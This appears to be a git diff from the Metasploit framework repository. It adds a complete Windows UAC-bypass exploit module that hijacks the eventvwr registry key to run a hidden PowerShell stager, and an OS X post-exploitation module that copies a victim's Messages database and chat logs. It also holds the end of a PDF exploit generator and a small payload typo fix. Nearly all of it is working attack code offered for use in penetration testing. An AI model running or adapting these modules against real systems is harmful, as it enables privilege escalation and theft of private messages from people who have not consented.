add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
|
||||
add_object(2, "<</Type/Outlines>>")
|
||||
add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
|
||||
add_object(4, "[/PDF/Text/ImageC]")
|
||||
add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
|
||||
stream_1 = "stream" << eol
|
||||
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
|
||||
stream_1 << "endstream" << eol
|
||||
add_object(6, "<</Length 91>>#{stream_1}")
|
||||
stream = "<<" << eol
|
||||
stream << "/Width 230" << eol
|
||||
stream << "/BitsPerComponent 8" << eol
|
||||
stream << "/Name /X" << eol
|
||||
stream << "/Height 50" << eol
|
||||
stream << "/Intent /RelativeColorimetric" << eol
|
||||
stream << "/Subtype /Image" << eol
|
||||
stream << "/Filter /DCTDecode" << eol
|
||||
stream << "/Length #{jpeg.length}" << eol
|
||||
stream << "/ColorSpace /DeviceCMYK" << eol
|
||||
stream << "/Type /XObject" << eol
|
||||
stream << ">>"
|
||||
stream << "stream" << eol
|
||||
stream << jpeg << eol
|
||||
stream << "endstream" << eol
|
||||
add_object(7, stream)
|
||||
finish_pdf
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,200 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::Powershell
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
|
||||
EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile"
|
||||
EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"
|
||||
EXEC_REG_VAL = '' # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'
|
||||
EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe"
|
||||
PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
CMD_MAX_LEN = 2081
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',
|
||||
'Description' => %q{
|
||||
This module will bypass Windows UAC by hijacking a special key in the Registry under
|
||||
the current user hive, and inserting a custom command that will get invoked when
|
||||
the Windows Event Viewer is launched. It will spawn a second shell that has the UAC
|
||||
flag turned off.
|
||||
|
||||
This module modifies a registry key, but cleans up the key once the payload has
|
||||
been invoked.
|
||||
|
||||
The module does not require the architecture of the payload to match the OS. If
|
||||
specifying EXE::Custom your DLL should call ExitProcess() after starting your
|
||||
payload in a separate process.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Matt Nelson', # UAC bypass discovery and research
|
||||
'Matt Graeber', # UAC bypass discovery and research
|
||||
'OJ Reeves' # MSF module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[
|
||||
'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/',
|
||||
'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'
|
||||
]
|
||||
],
|
||||
'DisclosureDate'=> 'Aug 15 2016'
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
commspec = '%COMSPEC%'
|
||||
registry_view = REGISTRY_VIEW_NATIVE
|
||||
|
||||
# Make sure we have a sane payload configuration
|
||||
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
# On x64, check arch
|
||||
if session.arch == ARCH_X86
|
||||
# running WOW64, map the correct registry view
|
||||
registry_view = REGISTRY_VIEW_64_BIT
|
||||
|
||||
if target_arch.first == ARCH_X64
|
||||
# we have an x64 payload specified while using WOW64, so we need to
|
||||
# move over to sysnative
|
||||
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
|
||||
else
|
||||
# Else, we're 32-bit payload, so need to ref wow64.
|
||||
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
|
||||
end
|
||||
elsif target_arch.first == ARCH_X86
|
||||
# We're x64, but invoking x86, so switch to SysWOW64
|
||||
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
|
||||
end
|
||||
else
|
||||
# if we're on x86, we can't handle x64 payloads
|
||||
if target_arch.first == ARCH_X64
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
end
|
||||
end
|
||||
|
||||
# Validate that we can actually do things before we bother
|
||||
# doing any more work
|
||||
check_permissions!
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
payload_value = rand_text_alpha(8)
|
||||
psh_path = expand_path("#{PSH_PATH}")
|
||||
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
|
||||
|
||||
psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
|
||||
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
|
||||
|
||||
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
|
||||
|
||||
if existing.empty?
|
||||
registry_createkey(EVENTVWR_WRITE_KEY, registry_view)
|
||||
end
|
||||
|
||||
print_status("Configuring payload and stager registry keys ...")
|
||||
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
|
||||
registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
|
||||
|
||||
# We can't invoke EventVwr.exe directly because CreateProcess fails with the
|
||||
# dreaded 740 error (Program requires elevation). Instead, we must invoke
|
||||
# cmd.exe and use that to fire off the binary.
|
||||
cmd_path = expand_path(commspec)
|
||||
cmd_args = expand_path("/c #{EVENTVWR_PATH}")
|
||||
print_status("Executing payload: #{cmd_path} #{cmd_args}")
|
||||
|
||||
# We can't use cmd_exec here because it blocks, waiting for a result.
|
||||
client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})
|
||||
|
||||
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
|
||||
# TODO: fix this up to use something smarter than a timeout?
|
||||
Rex::sleep(5)
|
||||
|
||||
handler(client)
|
||||
|
||||
print_status("Cleaining up registry keys ...")
|
||||
if existing.empty?
|
||||
registry_deletekey(EVENTVWR_DEL_KEY, registry_view)
|
||||
else
|
||||
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
|
||||
registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
|
||||
# Check if you are an admin
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
end
|
||||
|
||||
unless is_in_admin_group?
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -82,6 +82,6 @@ module MetasploitModule
|
||||
def generate_stage(opts = {})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)).
|
||||
to_bininary :process_image
|
||||
to_binary :process_image
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,146 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OS X Gather Messages',
|
||||
'Description' => %q{
|
||||
This module will collect the Messages sqlite3 database files and chat logs
|
||||
from the victim's machine. There are four actions you may choose: DBFILE,
|
||||
READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
|
||||
LATEST will retrieve the last X number of messages (useful with 2FA). Module
|
||||
was tested with OS X 10.11 (El Capitan).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Geckom <geckom[at]redteamr.com>'],
|
||||
'Platform' => ['osx'],
|
||||
'SessionTypes' => ['meterpreter', 'shell'],
|
||||
'Actions' =>
|
||||
[
|
||||
['DBFILE', 'Description' => 'Collect Messages DB file'],
|
||||
['READABLE', 'Description' => 'Collect Messages DB and download in a readable format'],
|
||||
['LATEST', 'Description' => 'Collect the latest message'],
|
||||
['ALL', 'Description' => 'Collect all Messages data']
|
||||
],
|
||||
'DefaultAction' => 'ALL'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
|
||||
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['USER']
|
||||
user = datastore['USER']
|
||||
else
|
||||
user = cmd_exec('/usr/bin/whoami')
|
||||
end
|
||||
|
||||
# Check file exists
|
||||
messages_path = "/Users/#{user}/Library/Messages/chat.db"
|
||||
if file_exist?(messages_path)
|
||||
print_good("#{peer} - Messages DB found: #{messages_path}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
|
||||
end
|
||||
|
||||
# Check messages. And then set the default profile path
|
||||
unless messages_path
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Found Messages file: #{messages_path}")
|
||||
|
||||
files = []
|
||||
|
||||
# Download file
|
||||
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
|
||||
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
|
||||
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
|
||||
|
||||
save(files)
|
||||
end
|
||||
|
||||
#
|
||||
# Collect messages db file.
|
||||
#
|
||||
def get_db(messages_path)
|
||||
print_status("#{peer} - Looting #{messages_path} database")
|
||||
message_data = read_file(messages_path)
|
||||
{filename: 'messages.db', mime: 'bin', data: message_data}
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a readable version of the messages DB
|
||||
#
|
||||
def readable(messages_path)
|
||||
print_status("#{peer} - Generating readable format")
|
||||
sql = [
|
||||
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
|
||||
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
|
||||
'usr.id || ": " || m.text, a.filename',
|
||||
'FROM chat as c',
|
||||
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
|
||||
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
|
||||
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
|
||||
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
|
||||
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
|
||||
'ORDER BY m.date;'
|
||||
]
|
||||
sql = sql.join(' ')
|
||||
readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
||||
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a latest messages in readable format from the messages DB
|
||||
#
|
||||
def latest(messages_path)
|
||||
print_status("#{peer} - Retrieving latest messages")
|
||||
sql = [
|
||||
'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',
|
||||
'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',
|
||||
'usr.id || ": " || m.text, a.filename',
|
||||
'FROM chat as c',
|
||||
'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',
|
||||
'INNER JOIN message AS m ON m.ROWID = cm.message_id',
|
||||
'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',
|
||||
'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',
|
||||
'INNER JOIN handle usr ON m.handle_id = usr.ROWID',
|
||||
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
|
||||
]
|
||||
sql = sql.join(' ')
|
||||
latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
||||
print_good("#{peer} - Latest messages: \n#{latest_data}")
|
||||
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
|
||||
end
|
||||
|
||||
#
|
||||
# Do a store_root on all the data collected.
|
||||
#
|
||||
def save(data)
|
||||
data.each do |e|
|
||||
e[:filename] = e[:filename].gsub(/\\ /,'_')
|
||||
p = store_loot(
|
||||
e[:filename],
|
||||
e[:mime],
|
||||
session,
|
||||
e[:data],
|
||||
e[:filename])
|
||||
|
||||
print_good("#{peer} - #{e[:filename]} stored as: #{p}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user